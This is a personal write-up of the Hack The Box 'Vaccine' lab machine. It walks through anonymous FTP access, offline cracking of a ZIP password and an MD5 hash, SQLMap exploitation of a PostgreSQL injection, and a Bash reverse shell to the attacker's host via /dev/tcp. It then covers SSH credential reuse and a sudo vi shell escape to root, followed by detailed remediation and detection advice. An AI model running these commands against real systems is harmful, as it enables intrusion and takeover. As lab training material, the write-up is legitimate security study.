Machine Information¶
- Platform: Hack The Box
- Machine: Vaccine
- Difficulty: Starting Point
- Operating System: Ubuntu Linux (inferred from service banners)
- Date Started: 07-14-2026
- Date Completed:
- Status: In Progress
- Target IP: 10.129.195.248
Objective¶
Compromise the Vaccine machine in an authorized Hack The Box environment, obtain user-level access, escalate privileges, and document the vulnerabilities and misconfigurations that enabled the attack.
Skills Demonstrated¶
-
Network reconnaissance
-
Service enumeration
-
Web application assessment
-
Credential discovery and analysis
-
Authentication testing
-
Linux command-line usage
-
Privilege-escalation enumeration
-
Security remediation analysis
-
Technical documentation
1. Reconnaissance¶
Initial Connectivity¶
ping -c 4 10.129.195.248
Result¶
PING 10.129.195.248 (10.129.195.248) 56(84) bytes of data. 64 bytes from 10.129.195.248: icmp_seq=1 ttl=63 time=66.0 ms 64 bytes from 10.129.195.248: icmp_seq=2 ttl=63 time=66.1 ms 64 bytes from 10.129.195.248: icmp_seq=3 ttl=63 time=66.6 ms 64 bytes from 10.129.195.248: icmp_seq=4 ttl=63 time=67.0 ms
--- 10.129.195.248 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3004ms rtt min/avg/max/mdev = 66.011/66.447/67.023/0.402 ms
Interpretation¶
Target responded to all ICMP echo requests with no packet loss. This confirms the host is online and reachable through the HTB VPN. The TTL value of 63 suggests that the target is likely running Linux.
Detailed Service Scan¶
sudo nmap -sC -sV 10.129.195.248
Discovered Ports¶
| Port | Service | Version | Initial Observation |
|---|---|---|---|
| 21/tcp | FTP | vsftpd 3.0.3 | Anonymous login was allowed |
| 22/tcp | SSH | OpenSSH 8.0p1 Ubuntu | Potential remote-access service if credentials are discovered |
| 80/tcp | HTTP | Apache 2.4.41 | Hosted a login page titled MegaCorp Login |
Key Findings¶
- FTP was running on port 21 with the anonymous login enabled
- A filename called backup.zip is exposed through FTP
- SSH is available on port 22
- Apache is running on port 80
- The web application title is MegaCorp Login
- The application used a PHPSESSID cookie without the HttpOnly flag enabled
- Service banners suggest the host is running linux
2. Service Enumeration¶
Service: 21/FTP¶
Objective¶
Determine whether the FTP service allows anonymous access and identify any exposed files that could contain source code, credentials, config data or other important details.
Anonymous FTP Access¶
ftp 10.129.195.248
Username: anonymous
Password: [Blank]
The FTP server accepted an anonymous login without requiring a password.
230 Login successful
File Discovery and Download¶
dir
get backup.zip
exit
The directory listing contained one file:
-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
The file was downloaded successfully:
2533 bytes received
226 Transfer complete.
Archive Inspection¶
unzip backup.zip
Archive: backup.zip
[backup.zip] index.php password:
password incorrect--reenter:
password incorrect--reenter:
skipping: index.php incorrect password
[backup.zip] style.css password:
password incorrect--reenter:
password incorrect--reenter:
skipping: style.css incorrect password
Analysis¶
Anonymous FTP access was enabled, allowing unauthenticated users to browse and download files from the server.
The exposed backup.zip archive could be important because backup files may contain:
- Web application source code
- Configuration files
- Database credentials
- Password hashes
- Internal usernames
- Reused credentials
Archive was password-protected and couldn't be extracted without the correct password. However, the extraction prompt revealed that the archive at least contained:
- index.php
- style.css
These files likely are part of the web application hosted on port 80. The PHP source code is especially valuable because it could reveal authentication logic, database queries, hardcoded credentials, or input-handling vulnerabilities.
The next logical step was to extract the password hash from the ZIP archive and attempt an offline dictionary attack using John the Ripper.
Files or Resources Discovered¶
| File or Resource | Source | Security Relevance |
|---|---|---|
| backup.zip | Anonymous FTP on port 21 | May contain source code, credentials, or config data |
3. Credential Analysis¶
Credential Source¶
After discovering that the zip file was password protected, the next logical step was to extract its hash and attempt an offline dictionary attack to replicate the hash and discover the password.
Hash Extraction¶
The ZIP hash was extracted using zip2john.
zip2john backup.zip > hashes
Result¶
backup.zip/index.php PKZIP Encr
backup.zip/style.css PKZIP Encr
NOTE: It is assumed that all files in each archive have the same password.
Created a file named hashes containing the PKZIP hash for the archive.
ls
cat hashes
The full hash was not included in the notes because it was extremely long and not necessary for understanding the attack process.
Wordlist Preparation¶
The rockyou.txt wordlist was still compressed, so I extracted it.
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
Password Cracking¶
John the Ripper was used with the rockyou.txt wordlist.
sudo john -wordlist=/usr/share/wordlists/rockyou.txt hashes
Result¶
741852963 (backup.zip)
1g 0:00:00:00 DONE
Session completed.
The archive password was successfully recovered as:
741852963
Archive Extraction¶
After recovering the password, the archive was extracted successfully.
unzip backup.zip
Archive: backup.zip
[backup.zip] index.php password:
inflating: index.php
inflating: style.css
The extracted files were confirmed with:
ls
backup.zip hashes index.php style.css
The archive contained:
index.phpstyle.css
Analysis¶
The backup archive used a weak number only password that was present in a common password wordlist. Because the zip file was already available through the anonymous FTP account, an unauthenticated user was able to download it and recover the password offline.
The new password allowed the archive to be extracted and exposed the web application's source code and stylesheet.
The PHP source code was especially important because it could reveal:
- Authentication logic
- Hardcoded usernames
- Password hashes
- Database queries
- Input-handling weaknesses
- Other sensitive application details
The next logical step was to inspect index.php and analyze the web application's authentication process.
Security Impact¶
The archive was protected only by a weak password and was exposed through anonymous FTP.
An administrator could have prevented this by:
- Disabling anonymous FTP access
- Removing backup files from publicly accessible services
- Using strong, unique passwords for encrypted archives
- Storing backups in restricted locations
- Limiting access through file permissions and network controls
- Monitoring for unauthorized file downloads
4. Web Application Enumeration¶
Application Overview¶
- URL:
http://10.129.195.248 - Server Technology: Apache 2.4.41 with PHP
- Authentication Required: Yes
- Authenticated Page:
dashboard.php - Interesting Parameter:
search - Request Method: GET
Source Code Review¶
After extracting backup.zip, I inspected the PHP source code.
cat index.php
The important authentication logic was:
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
The source code revealed:
- The username was hardcoded as
admin - The password hash was hardcoded in the application
2cb42f8734ea607eefed3b70af13bbd3
Authentication Hash Identification¶
Although the PHP source code already showed that MD5 was being used, I used hashid to inspect the hash.
hashid 2cb42f8734ea607eefed3b70af13bbd3
Result¶
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] NTLM
...
Several hash types use the same 32-character format, so hashid returned multiple possibilities. However, the use of the md5() function in the PHP source code confirmed that the value was raw MD5.
Password Cracking¶
Saved to a local file.
echo '2cb42f8734ea607eefed3b70af13bbd3' > hash
Hashcat was used in dictionary mode with the rockyou.txt wordlist.
hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
-a 0selected a dictionary attack-m 0selected raw MD5
Result¶
2cb42f8734ea607eefed3b70af13bbd3:qwerty789
Status...........: Cracked
Recovered........: 1/1 (100.00%)
The recovered web application credentials were:
Username: admin
Password: qwerty789
Authenticated Application Access¶
The recovered credentials were entered into the MegaCorp login page.
Authentication was successful and redirected the browser to:
http://10.129.195.248/dashboard.php
The authenticated dashboard displayed the MegaCorp Car Catalogue, including vehicle names, types, fuel types, and engine sizes. ![[Screenshot 2026-07-14 130913.png]]
Search Function Discovery¶
The dashboard contained a search field that filtered the vehicle catalogue.
Entering the value f changed the URL to:
http://10.129.195.248/dashboard.php?search=f
This revealed that user-controlled input was being passed through the search GET parameter.
The parameter appeared to retrieve records from the application database, making it a possible SQL injection point. ![[Screenshot 2026-07-14 131200.png]]
Session Cookie Capture¶
Because the dashboard required authentication, Burp Suite was used to capture the PHP session cookie.
Cookie: PHPSESSID=[REDACTED]
The session cookie was required so that SQLMap could access and test the authenticated dashboard.php page.
![[Screenshot 2026-07-14 134451.png]]
Initial SQLMap Attempt¶
The first SQLMap test used the captured PHP session cookie.
sqlmap -u 'http://10.129.195.248/dashboard.php?search=any+query' \
--cookie='PHPSESSID=[REDACTED]'
Result¶
got a 302 redirect to 'http://10.129.195.248/index.php'
GET parameter 'search' does not seem to be injectable
The 302 redirect showed that SQLMap was being redirected to the login page. This meant the supplied session was not authenticated at the time of the test, so SQLMap tested the login page instead of the dashboard search function.
After confirming the browser session was authenticated, the SQLMap test was repeated with a valid session.
SQL Injection Validation¶
SQLMap was run against the authenticated search parameter with the --os-shell option.
sudo sqlmap \
-u 'http://10.129.195.248/dashboard.php?search=any+query' \
--cookie='PHPSESSID=[REDACTED]' \
--os-shell
Result¶
SQLMap identified the search parameter as vulnerable to several PostgreSQL SQL injection techniques.
Parameter: search (GET)
Type: boolean-based blind
Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause
Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
SQLMap also identified the application environment.
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
Vulnerability Identified¶
- Vulnerability Type: Authenticated SQL injection
- Affected Parameter:
search - Affected Page:
dashboard.php - Request Method: GET
- Database: PostgreSQL
- Authentication Required: Yes
- Impact: Database access and operating-system command execution
Why the Test Worked¶
The application passed the user-controlled search value into a PostgreSQL query without safely separating the input from the SQL statement.
Because parameterized queries were not being used, SQLMap was able to alter the structure of the database query.
The database account also had enough privileges for SQLMap to use PostgreSQL's COPY ... FROM PROGRAM functionality. This extended the impact from database access to operating-system command execution.
Security Impact¶
The SQL injection vulnerability allowed an authenticated attacker to:
- Modify database queries
- Extract information from the database
- Execute stacked PostgreSQL statements
- Execute operating-system commands
- Obtain a shell on the underlying server
The vulnerability could have been prevented by:
- Using parameterized SQL queries
- Validating and restricting search input
- Running the application with a restricted database account
- Removing unnecessary PostgreSQL administrative privileges
- Avoiding detailed database error messages
- Monitoring abnormal queries and repeated injection patterns
5. Initial Access¶
Entry Point¶
Initial access was obtained through the SQL injection vulnerability in the authenticated search parameter.
SQLMap determined that the PostgreSQL database user had sufficient privileges to execute operating-system commands using:
COPY ... FROM PROGRAM
The SQL injection was then used to execute a Bash reverse-shell command.
Listener Setup¶
A Netcat listener was started on the attacking system.
sudo nc -lvnp 443
Listening on 0.0.0.0 443
Port 443 was used for the reverse connection.
Operating-System Shell¶
SQLMap was launched with the --os-shell option.
sudo sqlmap \
-u 'http://10.129.195.248/dashboard.php?search=any+query' \
--cookie='PHPSESSID=[REDACTED]' \
--os-shell
SQLMap confirmed that the current PostgreSQL user had sufficient privileges and selected PostgreSQL command execution.
testing if current user is DBA
going to use 'COPY ... FROM PROGRAM ...' command execution
calling Linux OS shell
From the SQLMap operating-system shell, the following reverse-shell command was submitted:
bash -c "bash -i >& /dev/tcp/10.10.15.230/443 0>&1"
SQLMap did not display command output because the command created an outbound connection instead of returning its output through the SQL query.
the SQL query provided does not return any output
No output
Reverse Shell Connection¶
The Netcat listener received a connection from the target.
Connection received on 10.129.195.248 57782
bash: cannot set terminal process group (5913): Inappropriate ioctl for device
bash: no job control in this shell
postgres@vaccine:/var/lib/postgresql/11/main$
A shell was successfully obtained as the PostgreSQL service account.
Current User¶
The shell prompt identified the current user and hostname.
postgres@vaccine:/var/lib/postgresql/11/main$
Verification commands:
whoami
id
hostname
pwd
Access Obtained¶
- User:
postgres - Host:
vaccine - Access Method: Reverse shell through PostgreSQL SQL injection
- Working Directory:
/var/lib/postgresql/11/main - Privilege Level: Unprivileged database service account
- Shell Type: Basic Bash reverse shell
Shell Status¶
The messages below showed that the reverse shell did not yet have a fully interactive terminal.
bash: cannot set terminal process group
bash: no job control in this shell
Shell stabilization had not yet been completed at this stage.
Analysis¶
The complete initial-access chain was:
- Anonymous FTP exposed a password-protected web application backup.
- The weak ZIP password was cracked with John the Ripper.
- The extracted PHP source code exposed the admin username and MD5 password hash.
- The MD5 hash was cracked with Hashcat.
- The recovered credentials provided access to the authenticated dashboard.
- The dashboard exposed a vulnerable
searchparameter. - SQLMap confirmed PostgreSQL SQL injection with stacked-query support.
- The PostgreSQL database account could execute operating-system commands.
- A Bash reverse shell connected back to the attacking system.
- Initial access was obtained as the
postgresuser.
The next logical step was to stabilize the shell and begin local privilege-escalation enumeration.
6. Post-Exploitation Enumeration¶
User Flag¶
After obtaining a reverse shell as the postgres service account, I moved out of the PostgreSQL database directory and inspected /var/lib/postgresql.
cd ../..
ls
11
user.txt
The user flag was stored at:
/var/lib/postgresql/user.txt
cat user.txt
[REDACTED]
Web Application Files¶
I navigated to the Apache web root to inspect the application files.
cd /var/www/html
ls -la
total 392
drwxr-xr-x 2 root root 4096 Jul 23 2021 .
drwxr-xr-x 3 root root 4096 Jul 23 2021 ..
-rw-rw-r-- 1 root root 362847 Feb 3 2020 bg.png
-rw-r--r-- 1 root root 4723 Feb 3 2020 dashboard.css
-rw-r--r-- 1 root root 50 Jan 30 2020 dashboard.js
-rw-r--r-- 1 root root 2313 Feb 4 2020 dashboard.php
-rw-r--r-- 1 root root 2594 Feb 3 2020 index.php
-rw-r--r-- 1 root root 1100 Jan 30 2020 license.txt
-rw-r--r-- 1 root root 3274 Feb 3 2020 style.css
The files were owned by root, but the postgres account had permission to read them.
Dashboard Source Code¶
I inspected the authenticated dashboard source code.
cat dashboard.php
The file contained the PostgreSQL database connection string:
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
The discovered credentials were:
Database: carsdb
Username: postgres
Password: P@s5w0rd!
SQL Injection Confirmation¶
The source code also confirmed the cause of the SQL injection vulnerability.
if(isset($_REQUEST['search'])) {
$q = "Select * from cars where name ilike '%". $_REQUEST["search"] ."%'";
$result = pg_query($conn,$q);
}
The value supplied through the search parameter was concatenated directly into the SQL query.
No parameterized query or prepared statement was used, allowing user-controlled input to alter the structure of the PostgreSQL query.
The dashboard also checked for an authenticated PHP session:
session_start();
if($_SESSION['login'] !== "true") {
header("Location: index.php");
die();
}
This explained why SQLMap required a valid authenticated PHPSESSID cookie to reach and test the vulnerable search function.
Credential Reuse and SSH Access¶
Because SSH was exposed on port 22, I tested whether the PostgreSQL password was reused for the Linux postgres account.
ssh postgres@10.129.195.248
The password discovered in dashboard.php successfully authenticated the account.
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-64-generic x86_64)
postgres@vaccine:~$
This confirmed that the database password was reused for operating-system authentication.
Current User¶
whoami
postgres
Access Obtained¶
- User:
postgres - Host:
vaccine - Access Method: SSH using credentials discovered in
dashboard.php - Operating System: Ubuntu 19.10
- Kernel: Linux 5.3.0-64-generic
- Privilege Level: Unprivileged user
- Shell Type: Fully interactive SSH shell
Sudo Permissions¶
I checked whether the postgres account could run any commands with elevated privileges.
sudo -l
Matching Defaults entries for postgres on vaccine:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET",
env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
mail_badpass
User postgres may run the following commands on vaccine:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
Important Finding¶
The postgres user was allowed to run /bin/vi as any user when opening the PostgreSQL authentication configuration file:
/etc/postgresql/11/main/pg_hba.conf
This permission could be dangerous because vi is an interactive editor that supports executing external commands and launching shells.
At this stage, the sudo permission had been identified, but privilege escalation had not yet been performed.
Important Findings¶
| Finding | Source | Security Relevance |
|---|---|---|
| User flag | /var/lib/postgresql/user.txt |
Confirmed user-level access |
| PostgreSQL credentials | /var/www/html/dashboard.php |
Password was reused for Linux SSH authentication |
| Unsafe SQL query | /var/www/html/dashboard.php |
Confirmed the cause of the SQL injection vulnerability |
| SSH access | Port 22 | Provided a stable interactive shell as postgres |
Sudo permission for vi |
sudo -l |
Potential privilege-escalation path |
Analysis¶
Post-exploitation enumeration revealed hardcoded PostgreSQL credentials inside the web application source code. The database password was reused for the Linux postgres account, allowing the original reverse shell to be replaced with a stable SSH session.
Reviewing dashboard.php also confirmed that the SQL injection occurred because the application directly concatenated the search parameter into a database query.
Finally, sudo -l showed that the postgres user could run vi as root against a specific PostgreSQL configuration file. The next logical step was to investigate whether the editor's command-execution functionality could be used for privilege escalation.
7. Privilege Escalation¶
Sudo Misconfiguration¶
The postgres user was allowed to run vi as root against the PostgreSQL authentication configuration file.
User postgres may run the following commands on vaccine:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
Although the sudo rule restricted the command to a specific file, vi is an interactive editor that supports executing external commands and spawning shells.
Failed Command-Line Shell Escape¶
I first attempted to launch a shell by supplying additional command-line arguments to vi.
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf -c ':!/bin/sh' /dev/null
Result¶
Sorry, user postgres is not allowed to execute '/bin/vi /etc/postgresql/11/main/pg_hba.conf -c :!/bin/sh /dev/null' as root on vaccine.
This failed because the sudo rule only allowed the exact permitted command and file path. Adding -c, the shell command, and /dev/null caused the command to no longer match the sudo configuration.
Vi Shell Escape¶
Instead of adding command-line arguments, I opened the permitted file normally with vi.
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
: to enter command mode and configured the shell as /bin/sh.
:set shell=/bin/sh
vi and launched the configured shell.
:shell
Because vi was running through sudo, the shell inherited root privileges.
Verification¶
whoami
id
Result¶
root
uid=0(root) gid=0(root) groups=0(root)
Root access was successfully obtained.
Root Flag¶
I switched to Bash and navigated to the root user's home directory.
bash
cd /root
ls
Result¶
root.txt
The root flag was retrieved with:
cat /root/root.txt
[REDACTED]
![[Screenshot 2026-07-14 151022 1.png]]
Analysis¶
Privilege escalation was possible because the sudo configuration allowed the interactive vi editor to run with root privileges.
Restricting vi to a specific file did not prevent privilege escalation because commands could still be executed from inside the editor. The shell launched through vi inherited the editor's root privileges.
This could have been prevented by avoiding interactive editors in sudo rules. A restricted administrative script or another non-interactive method should have been used to make approved changes to the PostgreSQL configuration file.
8. Attack Chain Summary¶
-
Performed network reconnaissance and identified FTP, SSH, and HTTP services on ports 21, 22, and 80.
-
Discovered that the FTP server allowed anonymous access and exposed a password-protected archive named
backup.zip. -
Used
zip2johnand John the Ripper with therockyou.txtwordlist to recover the archive password. -
Extracted
index.phpandstyle.cssfrom the archive. Reviewingindex.phprevealed a hardcodedadminusername and an MD5 password hash. -
Used Hashcat to crack the MD5 hash and recovered valid credentials for the MegaCorp web application.
-
Logged in to the authenticated dashboard and identified the user-controlled
searchGET parameter. -
Captured an authenticated
PHPSESSIDcookie with Burp Suite and used SQLMap to confirm that thesearchparameter was vulnerable to PostgreSQL SQL injection. -
SQLMap determined that the PostgreSQL account had enough privileges to execute operating-system commands through
COPY ... FROM PROGRAM. -
Executed a Bash reverse shell through SQLMap and obtained initial operating-system access as the
postgresuser. -
Retrieved the user flag from
/var/lib/postgresql/user.txt. -
Inspected
/var/www/html/dashboard.phpand discovered hardcoded PostgreSQL credentials. The source code also confirmed that the SQL injection was caused by directly concatenating thesearchparameter into the SQL query. -
Tested the PostgreSQL password against SSH and confirmed that it was reused for the Linux
postgresaccount, providing a stable interactive shell. -
Ran
sudo -land discovered thatpostgrescould run/bin/vi /etc/postgresql/11/main/pg_hba.confas root. -
Opened the permitted file through
sudo viand used the editor's shell functionality to launch/bin/sh. -
Verified root access with
whoamiandid, then retrieved the root flag from/root/root.txt.
9. Vulnerability Summary¶
| Finding | Severity | Impact | Recommended Remediation |
|---|---|---|---|
| Anonymous FTP access | High | Unauthenticated users could access and download files from the FTP server, including the exposed web application backup. | Disable anonymous FTP access, require authentication, restrict access by network location, and remove sensitive files from FTP directories. |
| Exposed backup archive | High | The backup.zip file exposed application source code, authentication logic, and password hashes. |
Store backups in restricted locations outside publicly accessible services and apply appropriate file permissions. |
| Weak ZIP archive password | Medium | The archive password was present in the rockyou.txt wordlist and was recovered almost immediately through an offline dictionary attack. |
Use strong, unique archive passwords and avoid relying on password protection as the primary access-control mechanism. |
| Hardcoded web application credentials | High | The application source code revealed the admin username and the password hash used for authentication. |
Store credentials outside the application source code using protected configuration files, environment variables, or a secrets-management system. |
| MD5 password hashing | High | The web application used an unsalted MD5 hash, allowing the password to be cracked quickly with Hashcat. | Replace MD5 with a modern password-hashing algorithm such as Argon2id, bcrypt, or scrypt, and use unique salts. |
| Weak web application password | High | The administrator password was found in a common password wordlist, allowing unauthorized access to the authenticated dashboard. | Enforce strong password requirements, block commonly used passwords, and require multi-factor authentication for administrative accounts. |
SQL injection in the search parameter |
Critical | Authenticated user input was concatenated directly into a PostgreSQL query, allowing database manipulation, stacked queries, and operating-system command execution. | Use parameterized queries, validate input, restrict database permissions, and avoid exposing detailed database errors. |
| Excessive PostgreSQL privileges | Critical | The database account had enough privileges to execute operating-system commands through PostgreSQL's COPY ... FROM PROGRAM functionality. |
Run the application with a dedicated low-privilege database account and remove superuser or command-execution privileges. |
| Hardcoded PostgreSQL credentials | High | Plaintext database credentials were stored in dashboard.php and were readable by the compromised postgres account. |
Store database credentials in a protected secrets-management system or restricted configuration file and rotate exposed credentials. |
| Password reuse between PostgreSQL and SSH | High | The database password was reused for the Linux postgres account, allowing direct SSH access with the recovered credential. |
Use separate, unique passwords for database and operating-system accounts and disable password-based SSH authentication where possible. |
Unsafe sudo permission for vi |
Critical | The postgres user could run vi as root and use the editor's shell functionality to obtain a root shell. |
Remove interactive editors from sudo rules and replace them with a restricted, non-interactive administrative command or script. |
Missing HttpOnly cookie flag |
Low | Client-side scripts could access the PHP session cookie if a cross-site scripting vulnerability existed. | Set the HttpOnly, Secure, and appropriate SameSite attributes on session cookies. |
10. Defensive Recommendations¶
FTP and Backup Security¶
Anonymous FTP access should be disabled because it allowed unauthenticated users to browse the server and download backup.zip.
The backup archive should be removed from the FTP directory and stored in a restricted backup location that is not accessible from the public network.
Recommended actions:
- Disable anonymous FTP authentication.
- Require authenticated access for all file transfers.
- Restrict FTP access to trusted management networks.
- Replace FTP with an encrypted protocol such as SFTP.
- Store backups outside web roots and shared file-transfer directories.
- Apply file permissions so only authorized administrators and backup services can access archives.
- Monitor file-transfer logs for unexpected downloads.
Archive encryption should not be treated as the main access-control mechanism. The password protecting backup.zip was weak and was recovered using a common wordlist.
Credential and Secret Management¶
Credentials and password hashes should not be stored directly in application source code.
The application exposed the administrator username, the administrator password hash, and the PostgreSQL connection credentials through PHP files.
Recommended actions:
- Store application secrets in a dedicated secrets-management system.
- Use protected environment variables or restricted configuration files when a secrets-management platform is not available.
- Ensure secret files are not stored in publicly accessible directories or included in downloadable backups.
- Rotate the exposed administrator and PostgreSQL passwords.
- Use separate credentials for the database, operating-system account, SSH, and web application.
- Review the server for additional password reuse.
- Prevent service accounts such as
postgresfrom using password-based SSH authentication unless it is operationally required.
Password Security¶
The ZIP archive password, web administrator password, and PostgreSQL password were weak or reused across services.
Recommended actions:
- Enforce strong password requirements.
- Block passwords found in commonly used and breached-password lists.
- Require unique passwords for every account and service.
- Use multi-factor authentication for administrative interfaces where possible.
- Rotate service-account credentials regularly.
- Monitor for successful SSH logins involving service accounts.
- Disable inactive accounts and credentials.
Password Hashing¶
The web application used an unsalted MD5 hash to verify the administrator password.
MD5 is not suitable for password storage because it is fast and can be tested against millions of password guesses in a short period of time.
Recommended actions:
- Replace MD5 with Argon2id, bcrypt, or scrypt.
- Use the built-in PHP password functions such as
password_hash()andpassword_verify(). - Generate a unique salt automatically for every password.
- Rehash passwords when users successfully authenticate with an outdated format.
- Avoid implementing custom password-hashing logic.
Example:
$storedHash = password_hash($password, PASSWORD_ARGON2ID);
if (password_verify($_POST['password'], $storedHash)) {
// Authentication successful
}
SQL Injection Prevention¶
The search parameter was concatenated directly into a PostgreSQL query.
Vulnerable code:
$q = "Select * from cars where name ilike '%". $_REQUEST["search"] ."%'";
The query should be replaced with a parameterized statement.
Example:
$search = '%' . $_GET['search'] . '%';
$result = pg_query_params(
$conn,
"SELECT * FROM cars WHERE name ILIKE $1",
array($search)
);
Additional recommendations:
- Accept the search value from one expected request method instead of using
$_REQUEST. - Validate the expected length and format of search input.
- Apply reasonable limits to search queries.
- Return generic error messages to users.
- Log database errors securely on the server.
- Perform regular application security testing.
- Add automated tests that verify SQL injection payloads are handled safely.
Input validation should be used as an additional defense, but parameterized queries should remain the primary SQL injection prevention method.
Database Privilege Management¶
The PostgreSQL account used by the application had enough privileges for SQLMap to execute operating-system commands through COPY ... FROM PROGRAM.
The web application should use a dedicated database account with only the permissions required to read and search the vehicle catalogue.
Recommended actions:
- Create a separate low-privilege database user for the web application.
- Grant access only to the required database and tables.
- Remove PostgreSQL superuser privileges from application accounts.
- Prevent the application account from executing server-side programs.
- Restrict access to administrative PostgreSQL functions.
- Review database roles and privileges regularly.
- Monitor for unusual use of
COPY, stacked queries, and long-running functions such asPG_SLEEP. - Restrict PostgreSQL to local or trusted network connections where possible.
The database service should also run under a dedicated operating-system account that cannot log in through SSH.
SSH Security¶
The PostgreSQL password was reused for the Linux postgres account, allowing direct SSH authentication.
Recommended actions:
- Disable SSH access for database service accounts.
- Set the login shell of non-interactive service accounts to
/usr/sbin/nologinwhere appropriate. - Disable password-based SSH authentication and require SSH keys.
- Restrict SSH access using firewall rules or trusted management networks.
- Configure rate limiting and automated blocking for repeated authentication failures.
- Monitor SSH logs for service-account logins.
- Review authorized keys and active accounts regularly.
Sudo and Privilege Management¶
The postgres user was allowed to run vi as root against a specific configuration file.
This was unsafe because vi supports shell escapes and could launch a root shell.
The sudo rule should be removed:
postgres ALL=(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
Recommended actions:
- Do not permit interactive editors through sudo.
- Avoid granting sudo access to programs that support shell escapes.
- Use a restricted administrative script to perform approved configuration changes.
- Validate the requested configuration changes before applying them.
- Limit elevated access to a dedicated administrative group.
- Require administrators to use separate privileged accounts.
- Review
/etc/sudoersand/etc/sudoers.d/regularly. - Compare permitted binaries against known shell-escape functionality.
- Log and alert on unusual sudo activity.
A safer process would allow an administrator to submit a proposed configuration file that is validated and copied into place by a restricted root-owned script.
Session and Cookie Security¶
The PHP session cookie did not include the HttpOnly attribute.
Recommended session-cookie settings include:
session_set_cookie_params([
'secure' => true,
'httponly' => true,
'samesite' => 'Lax'
]);
Recommended actions:
- Set the
HttpOnlyattribute. - Set the
Secureattribute when HTTPS is enabled. - Set an appropriate
SameSitepolicy. - Regenerate the session ID after successful authentication.
- Invalidate sessions during logout.
- Apply session-expiration limits.
- Use HTTPS for the entire application.
- Avoid transmitting credentials or session cookies over plaintext HTTP.
Application and Server Hardening¶
The application and operating system should be reviewed for unsupported or outdated software.
Recommended actions:
- Upgrade the operating system to a currently supported release.
- Apply security updates to Apache, PHP, PostgreSQL, OpenSSH, and supporting packages.
- Disable unnecessary services.
- Restrict exposed ports with host and network firewalls.
- Run services using dedicated low-privilege accounts.
- Review file ownership and permissions under
/var/www/html. - Prevent sensitive configuration files from being read by unnecessary service accounts.
- Implement centralized logging and alerting.
- Perform regular vulnerability scans and configuration reviews.
Detection and Monitoring¶
The attack chain could have been detected at several stages.
FTP Monitoring¶
Alert on:
- Anonymous FTP authentication
- Downloads of backup archives
- Access from unexpected network ranges
- Repeated directory listings
- Transfers of sensitive file types
Web-Server Monitoring¶
Alert on:
- Requests containing SQL syntax in the
searchparameter - Repeated requests with quotation marks or SQL comments
- Requests containing
UNION,PG_SLEEP, or stacked-query syntax - Unusual authenticated search activity
- Large numbers of similar requests from one client
- Unexpected redirects between
dashboard.phpandindex.php
Database Monitoring¶
Alert on:
- Use of
COPY ... FROM PROGRAM - Calls to
PG_SLEEP - Stacked SQL statements
- Database queries that execute operating-system commands
- Application accounts requesting administrative functions
- Unexpected outbound connections from the PostgreSQL process
Endpoint Monitoring¶
Alert on:
- The PostgreSQL service spawning
/bin/bashor/bin/sh - Outbound connections from database processes
- Reverse-shell command patterns
- SSH logins using service accounts
- Interactive shells started by
vi - Root shells spawned through sudo-authorized editors
Privileged Access Monitoring¶
Alert on:
- Execution of
sudo /bin/vi - Shell processes launched as children of
vi - Configuration-file access followed by root shell execution
- Changes to sudo policies
- Unexpected access to
/root - Access to flag or sensitive administrative files
Remediation Priority¶
The highest-priority actions are:
- Remove the unsafe sudo permission for
vi. - Remove excessive PostgreSQL privileges.
- Fix the SQL injection using parameterized queries.
- Rotate all exposed and reused credentials.
- Disable SSH access for the
postgresservice account. - Disable anonymous FTP and remove the exposed backup.
- Replace MD5 password storage with a modern password-hashing algorithm.
- Upgrade the unsupported operating system and apply current security updates.
11. Lessons Learned¶
Technical Lessons¶
This machine demonstrated how multiple smaller security weaknesses can be chained together into a full system compromise.
Anonymous FTP access alone did not immediately provide access to the server, but it exposed a backup archive containing the web application's source code. The archive was password-protected, but the password was weak enough to be recovered quickly with John the Ripper and the rockyou.txt wordlist.
Reviewing the extracted PHP source code showed why access to source files can be extremely valuable. The code revealed:
- A hardcoded administrator username
- An MD5 password hash
- The application's authentication logic
- The location of the authenticated dashboard
The MD5 hash was cracked with Hashcat because MD5 is fast, unsalted, and unsuitable for securely storing passwords.
After logging in, the dashboard's search parameter provided another attack surface. SQLMap confirmed that the parameter was vulnerable to PostgreSQL SQL injection. The vulnerability was caused by directly concatenating user-controlled input into the SQL query.
$q = "Select * from cars where name ilike '%". $_REQUEST["search"] ."%'";
The impact was more severe because the PostgreSQL account had enough privileges to execute operating-system commands through COPY ... FROM PROGRAM.
Post-exploitation source-code review revealed a plaintext PostgreSQL password. The same password was reused for the Linux postgres account, allowing direct SSH access.
Finally, the sudo configuration allowed the postgres user to run vi as root. Although the command was restricted to a specific file, vi supported launching a shell from inside the editor. This demonstrated that restricting the file argument does not make an interactive program safe to run through sudo.
Troubleshooting Lessons¶
The first SQLMap attempt reported that the search parameter did not appear to be injectable.
got a 302 redirect to 'http://10.129.195.248/index.php'
The problem was not the parameter itself. The 302 response showed that SQLMap was being redirected to the login page because the supplied PHPSESSID was not associated with an authenticated session.
This taught me to inspect HTTP status codes and redirects instead of relying only on the final message produced by a tool. After using a valid authenticated session, SQLMap successfully identified the injection point.
